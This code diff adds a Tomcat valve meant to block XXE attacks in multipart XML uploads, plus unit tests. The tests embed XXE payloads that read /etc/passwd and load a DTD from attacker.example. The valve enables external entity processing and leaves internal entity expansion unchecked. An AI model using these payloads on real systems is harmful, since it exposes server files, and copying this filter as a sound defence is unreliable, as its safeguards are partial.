diff --git a/pom.xml b/pom.xml
index 0256d69..c7bd109 100644
--- a/pom.xml
+++ b/pom.xml
@@ -164,6 +164,12 @@
             <type>jar</type>
             <scope>provided</scope>
         </dependency>
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-catalina</artifactId>
+            <version>9.0.118</version>
+            <scope>provided</scope>
+        </dependency>
         <dependency>
             <groupId>org.dataone</groupId>
             <artifactId>d1_test_resources</artifactId>
diff --git a/src/main/java/org/dataone/security/XmlSecurityValidationValve.java b/src/main/java/org/dataone/security/XmlSecurityValidationValve.java
new file mode 100644
index 0000000..88491e4
--- /dev/null
+++ b/src/main/java/org/dataone/security/XmlSecurityValidationValve.java
@@ -0,0 +1,189 @@
+package org.dataone.security;
+
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+import org.apache.catalina.valves.ValveBase;
+import org.apache.coyote.InputBuffer;
+import org.apache.tomcat.util.net.ApplicationBufferHandler;
+import org.apache.commons.fileupload.FileItem;
+import org.apache.commons.fileupload.disk.DiskFileItemFactory;
+import org.apache.commons.fileupload.servlet.ServletFileUpload;
+import org.apache.commons.fileupload.servlet.ServletRequestContext;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletResponse;
+import javax.xml.parsers.SAXParser;
+import javax.xml.parsers.SAXParserFactory;
+import org.xml.sax.InputSource;
+import org.xml.sax.XMLReader;
+import org.xml.sax.ext.DefaultHandler2;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.List;
+
+/**
+ * Temporary mitigation Valve to reject multipart XML parts that declare DTDs/entities (XXE defense).
+ * Added 2026-07-10.
+ * Enable via the {@code <Valve>} element under {@code <Host ...>} in server.xml, e.g.:
+ * {@code <Valve className="org.dataone.security.XmlSecurityValidationValve" />}
+ */
+public class XmlSecurityValidationValve extends ValveBase {
+
+    @Override
+    public void invoke(Request request, Response response) throws IOException, ServletException {
+        String contentType = request.getContentType();
+
+        // Only inspect if it's a multipart request
+        if (contentType != null && contentType.toLowerCase().startsWith("multipart/form-data")) {
+            try {
+                // 1. Buffer the raw input stream (bounded to avoid memory exhaustion)
+                final long maxRequestBytes = 10 * 1024 * 1024L; // 10 MiB
+                long declaredLength = request.getContentLengthLong();
+                if (declaredLength > maxRequestBytes) {
+                    response.sendError(HttpServletResponse.SC_REQUEST_ENTITY_TOO_LARGE, "Request payload too large.");
+                    return;
+                }
+
+                InputStream rawInputStream = request.getInputStream();
+                ByteArrayOutputStream baos = new ByteArrayOutputStream(
+                    declaredLength > 0 ? (int) declaredLength : 1024);
+                byte[] buffer = new byte[8192];
+                int len;
+                long totalRead = 0;
+                while ((len = rawInputStream.read(buffer)) > -1) {
+                    totalRead += len;
+                    if (totalRead > maxRequestBytes) {
+                        response.sendError(HttpServletResponse.SC_REQUEST_ENTITY_TOO_LARGE, "Request payload too large.");
+                        return;
+                    }
+                    baos.write(buffer, 0, len);
+                }
+                byte[] requestBytes = baos.toByteArray();
+
+                // 2. Parse the multipart data using Tomcat's built-in FileUpload utilities
+                ServletRequestContext requestContext = new ServletRequestContext(request) {
+                    @Override
+                    public InputStream getInputStream() {
+                        return new ByteArrayInputStream(requestBytes);
+                    }
+                };
+
+                DiskFileItemFactory factory = new DiskFileItemFactory();
+                ServletFileUpload upload = new ServletFileUpload(factory);
+                List<FileItem> items = upload.parseRequest(requestContext);
+
+                for (FileItem item : items) {
+                    // Check if the part is an XML content type or looks like XML
+                    String partContentType = item.getContentType();
+                    if (isXmlType(partContentType, item.getName())) {
+                        
+                        // 3. Inspect for DTD / External Entities
+                        if (containsForbiddenXmlStructures(item.getInputStream())) {
+                            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Malicious XML content detected.");
+                            return; // Halt processing immediately
+                        }
+                    }
+                }
+
+                // 4. Re-inject the buffered bytes back into Tomcat's pipeline for downstream processing
+                request.getCoyoteRequest().setInputBuffer(new InputBuffer() {
+                    private final ByteArrayInputStream bais = new ByteArrayInputStream(requestBytes);
+
+                    @Override
+                    public int doRead(ApplicationBufferHandler handler) throws IOException {
+                        byte[] buf = new byte[8192];
+                        int read = bais.read(buf);
+                        if (read > 0) {
+                            handler.setByteBuffer(ByteBuffer.wrap(buf, 0, read));
+                        }
+                        return read;
+                    }
+
+                    @Override
+                    public int available() {
+                        return bais.available();
+                    }
+                });
+
+            } catch (Exception e) {
+                // Handle parsing errors or malicious attempts gracefully
+                response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid request payload.");
+                return;
+            }
+        }
+
+        // If safe or not multipart, pass to the next valve in the chain
+        getNext().invoke(request, response);
+    }
+
+    private boolean isXmlType(String contentType, String fileName) {
+        if (contentType != null) {
+            String ct = contentType.toLowerCase();
+            if (ct.contains("text/xml") || ct.contains("application/xml")) {
+                return true;
+            }
+        }
+        return fileName != null && fileName.toLowerCase().endsWith(".xml");
+    }
+
+    private boolean containsForbiddenXmlStructures(InputStream xmlStream) {
+        try {
+            SAXParserFactory spf = SAXParserFactory.newInstance();
+            spf.setNamespaceAware(true);
+            
+            // 1. DO NOT disallow DOCTYPE completely.
+            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
+            
+            // 2. Enable external general entities & parameter entities processing 
+            // so our custom resolver can catch them if they are present.
+            spf.setFeature("http://xml.org/sax/features/external-general-entities", true);
+            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
+            spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
+
+            SAXParser saxParser = spf.newSAXParser();
+            XMLReader xmlReader = saxParser.getXMLReader();
+            
+            // 3. Create a strict interceptor handler
+            DefaultHandler2 strictSecurityHandler = new DefaultHandler2() {
+                
+                // Catch External DTDs and External General Entities
+                @Override
+                public InputSource resolveEntity(String name, String publicId, String baseURI, String systemId) throws org.xml.sax.SAXException {
+                    if (systemId != null || publicId != null) {
+                        throw new org.xml.sax.SAXException("Malicious XML: External entity or DTD resolution blocked: " + systemId);
+                    }
+                    return null; 
+                }
+
+                // Catch External Parameter Entities inside the DOCTYPE declaration
+                @Override
+                public InputSource getExternalSubset(String name, String baseURI) throws org.xml.sax.SAXException {
+                    throw new org.xml.sax.SAXException("Malicious XML: External DTD subset blocked.");
+                }
+
+                // Catch Entity Declarations (like SYSTEM "file:///") before they can even be resolved
+                @Override
+                public void externalEntityDecl(String name, String publicId, String systemId) throws org.xml.sax.SAXException {
+                    throw new org.xml.sax.SAXException("Malicious XML: External entity declaration detected.");
+                }
+            };
+
+            // Register the handler for both resolution and advanced lexical intercepting
+            xmlReader.setEntityResolver(strictSecurityHandler);
+            xmlReader.setProperty("http://xml.org/sax/properties/lexical-handler", strictSecurityHandler);
+            
+            // Parse the stream to trigger the interceptor if anything malicious is declared
+            xmlReader.parse(new InputSource(xmlStream));
+            
+            return false; // Safe! No external definitions or resolutions were triggered.
+        } catch (Exception e) {
+            // Exception thrown by our security handler means we intercepted an attack vector
+            return true; 
+        }
+    }
+
+}
diff --git a/src/test/java/org/dataone/security/XmlSecurityValidationValveTest.java b/src/test/java/org/dataone/security/XmlSecurityValidationValveTest.java
new file mode 100644
index 0000000..b35e605
--- /dev/null
+++ b/src/test/java/org/dataone/security/XmlSecurityValidationValveTest.java
@@ -0,0 +1,103 @@
+package org.dataone.security;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.nio.charset.StandardCharsets;
+
+import org.junit.Test;
+
+public class XmlSecurityValidationValveTest {
+
+    private final XmlSecurityValidationValve valve = new XmlSecurityValidationValve();
+
+    @Test
+    public void identifiesXmlFromContentType() {
+        assertTrue(isXmlType("application/xml", null));
+        assertTrue(isXmlType("text/xml; charset=UTF-8", null));
+    }
+
+    @Test
+    public void identifiesXmlFromFilename() {
+        assertTrue(isXmlType("application/octet-stream", "payload.xml"));
+    }
+
+    @Test
+    public void doesNotIdentifyNonXmlPayload() {
+        assertFalse(isXmlType("application/json", "payload.txt"));
+    }
+
+    @Test
+    public void rejectsXmlWithExternalEntityDeclaration() {
+        String maliciousXml =
+                "<?xml version=\"1.0\"?>"
+                + "<!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>"
+                + "<root>&xxe;</root>";
+
+        assertTrue(containsForbiddenXmlStructures(streamOf(maliciousXml)));
+    }
+
+    @Test
+    public void rejectsXmlWithExternalDtdDeclaration() {
+        String maliciousXml =
+                "<?xml version=\"1.0\"?>"
+                + "<!DOCTYPE root SYSTEM \"http://attacker.example/malicious.dtd\">"
+                + "<root>ok</root>";
+
+        assertTrue(containsForbiddenXmlStructures(streamOf(maliciousXml)));
+    }
+
+    @Test
+    public void allowsXmlWithoutDtdOrEntityDeclarations() {
+        String safeXml = "<?xml version=\"1.0\"?><root><value>ok</value></root>";
+        assertFalse(containsForbiddenXmlStructures(streamOf(safeXml)));
+    }
+
+    @Test
+    public void rejectsMalformedXmlAsUnexpectedFailure() {
+        assertTrue(containsForbiddenXmlStructures(streamOf("<?xml version=\"1.0\"?><root>")));
+        assertTrue(containsForbiddenXmlStructures(streamOf("<root><value>broken</root>")));
+    }
+
+    @Test
+    public void rejectsXmlWithUndefinedEntityReference() {
+        String unresolvedEntityXml =
+                "<?xml version=\"1.0\"?>"
+                + "<!DOCTYPE root [<!ENTITY missing SYSTEM \"file:///etc/passwd\">]>"
+                + "<root>&missing;</root>";
+
+        assertTrue(containsForbiddenXmlStructures(streamOf(unresolvedEntityXml)));
+    }
+
+    private boolean isXmlType(String contentType, String fileName) {
+        try {
+            Method method = XmlSecurityValidationValve.class.getDeclaredMethod("isXmlType", String.class, String.class);
+            method.setAccessible(true);
+            return (Boolean) method.invoke(valve, contentType, fileName);
+        } catch (NoSuchMethodException | IllegalAccessException e) {
+            throw new AssertionError("Failed to access XmlSecurityValidationValve.isXmlType", e);
+        } catch (InvocationTargetException e) {
+            throw new AssertionError("Unexpected exception from XmlSecurityValidationValve.isXmlType", e);
+        }
+    }
+
+    private boolean containsForbiddenXmlStructures(InputStream xmlStream) {
+        try {
+            Method method = XmlSecurityValidationValve.class.getDeclaredMethod("containsForbiddenXmlStructures", InputStream.class);
+            method.setAccessible(true);
+            return (Boolean) method.invoke(valve, xmlStream);
+        } catch (NoSuchMethodException | IllegalAccessException e) {
+            throw new AssertionError("Failed to access XmlSecurityValidationValve.containsForbiddenXmlStructures", e);
+        } catch (InvocationTargetException e) {
+            throw new AssertionError("Unexpected exception from XmlSecurityValidationValve.containsForbiddenXmlStructures", e);
+        }
+    }
+
+    private InputStream streamOf(String value) {
+        return new ByteArrayInputStream(value.getBytes(StandardCharsets.UTF_8));
+    }
+}